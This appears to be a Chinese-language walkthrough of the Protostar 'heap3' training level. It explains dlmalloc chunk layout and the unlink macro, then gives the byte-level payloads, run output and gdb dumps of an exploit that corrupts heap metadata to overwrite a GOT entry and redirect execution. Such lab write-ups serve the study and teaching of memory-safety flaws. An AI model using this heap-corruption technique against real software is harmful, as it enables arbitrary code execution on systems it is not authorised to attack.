Exploiting the heap
这个级别引入了Doug Lea Malloc(dlmalloc)以及如何修改堆元数据以改变程序执行,有时候,溢出的缓冲区不在本地堆栈上.而是从malloc()中或得并使用free()释放的缓冲区.下边是一个小型演示.
heap3.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
void winner(){
printf("that wasn't too bad now, was it? @ %d\n",time(NULL));
}
int main(int argc, char *argv[]){
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3])
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
这里有一个溢出,用长参数调用程序会引发崩溃:
$: ./heap3 python -c 'print "A"*5000'
Segmentation fault
思考,通过这个有缺陷的程序生成一个shell.
Malloc
malloc()和free()管理通过sbrk()和mmap()系统调用内存. 这里 描述了Doug Lea的malloc,比下面描述的malloc版本稍早,并在本演示中使用。sbrk()mmap()
内存被分成几块。每个块的第一个(4字节)字段给出其大小,并且由于保证大小可被8整除,所以低位可以是状态位。
一个空闲块也以一个size字段结束,因此将一个块与前一个块(两者都是空闲的)合并很容易.用户块仅在开头具有size字段.当前一个块存在且状态字段的最低位为0且空闲且末尾有一个size字段。
一个空闲的块也有两个指针属于双向链表。(因此,块的大小不小于16个字节。)
该实现使用struct管理块
struct chunk {
int prev_size;
int size;
struct chunk * fd;
struct chunk * bk;
};
(此结构跨越两个块:前四个字节属于前一个块,后十二个字节属于当前块)。因此,prev_size此处的字段仅在以下时定义(size & 1) == 0。
由于返回的指针malloc()必须适用于所有目的,因此它在8字节边界上对齐。因此,当用户询问大小时n,块大小将不小于上述八的最小倍数n+4。分配和释放的策略是非平凡的。因此,很难预测区域的分配位置,以及后续malloc()的两个区域是否会返回相邻区域。但在上边的小程序中,恰好是当前机器上的情况(使用glibc 2.2.4)。
Exploit free()
段错误发生在strcpy()中,不可利用。 这是因为副本访问未映射到内存:
user@protostar:/opt/protostar/bin$ ltrace ./heap3 `python -c 'print "A"*2368'`
__libc_start_main(0x8048889, 2, 0xbfffef54, 0x804ab50, 0x804ab40 <unfinished ...>
sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbfffee1c) = 4096
sbrk(4096) = 0x0804c000
sbrk(0) = 0x0804d000
strcpy(0x0804c008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x0804c008
strcpy(0x0804c030, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
但是使用较短的字符串(仍然溢出缓冲区),segfault发生在free()中,并且可以利用。
using unlink
透过overflow 盖掉freed chunk中的fd及bk,再利用unlink中FD->bk=BK及BK->fd=FD来更改任意记忆体位置
unlink(P, BK, FD){
FD = p->fd;
BK = p->bk;
FD->bk = BK;
BK->fd = FD;
}
doubly linked list中,deltete一个node时的过程
(unlink(P,BK,FD): FD=P->fd, BK=P->bk, FD->bk=BK, BK->fd=FD),
这时发现使用unlink()宏,可用于将几乎任意数据写入另一个地址.在空闲块中覆盖写入指向GOT并在其中写入堆地址
Exploit
我们从一个块中检查最后一位判断上一块是否在使用中,如果未设置最后一位将尝试unlink(),合并chunk.
对于protostart heap3
- 需要两个伪块,一个块包含向前和向后的指针
- 然后用堆中的地址覆盖GOT,第二个块必须设置size最后一位为0
- 不能使用较小的值,可以使用fffffffc作为块的大小,结果会是减去4
- 利用strcpy填充heap,一直覆盖到那个奇怪的联合伪造chunk位置
- 写入两个地址,一个是GOT,另一个指向第一个堆
- 代码执行重定向到第一个堆位置,写shellcode到这个位置.另外unlink()会将GOT中一些数据写入这个堆空间,所以必须保持shellcode简短,或者跳过已经覆盖的数据.这里只需要执行winner
POC
user@protostar:/tmp$ echo -ne "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\xb1\x04\x08\x14\xc0\x04\x08" > C
user@protostar:/tmp$ echo -ne "AAAAAAAAAAAA\xB8\x64\x88\x04\x08\xFF\xD0" > A
user@protostar:/tmp$ echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x65" > B
user@protostar:/tmp$ ./heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
user@protostar:/opt/protostar/bin$ ./heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
that wasn't too bad now, was it? @ 1577887959
Segmentation fault
在gdb中调试;
(gdb) r `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap3 `cat /tmp/A` `cat /tmp/B` `cat /tmp/C`
Breakpoint 1, 0x080488d5 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:20
20 in heap3/heap3.c
(gdb) c
Continuing.
Breakpoint 2, 0x08048911 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:24
24 in heap3/heap3.c
(gdb) x/56wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x048864b8 0x00d0ff08 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x3536785c 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0b0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0c0: 0x0804c014 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 3, 0x08048935 in main (argc=4, argv=0xbffff7a4) at heap3/heap3.c:28
28 in heap3/heap3.c
(gdb) x/20i 0x0804c008
0x804c008: sub al,al
0x804c00a: add al,0x8
0x804c00c: inc ecx
0x804c00d: inc ecx
0x804c00e: inc ecx
0x804c00f: inc ecx
0x804c010: inc ecx
0x804c011: inc ecx
0x804c012: inc ecx
0x804c013: inc ecx
0x804c014: mov eax,0x8048864
0x804c019: call eax
0x804c01b: add BYTE PTR [ecx+esi*4],bl
0x804c01e: add al,0x8
0x804c020: add BYTE PTR [eax],al
0x804c022: add BYTE PTR [eax],al
0x804c024: add BYTE PTR [eax],al
0x804c026: add BYTE PTR [eax],al
0x804c028: add BYTE PTR [eax],al
0x804c02a: add BYTE PTR [eax],al
(gdb) si
0x08048790 in puts@plt ()
(gdb)
0x0804c014 in ?? ()
(gdb)
0x0804c019 in ?? ()
(gdb)
winner () at heap3/heap3.c:8
...........................................
................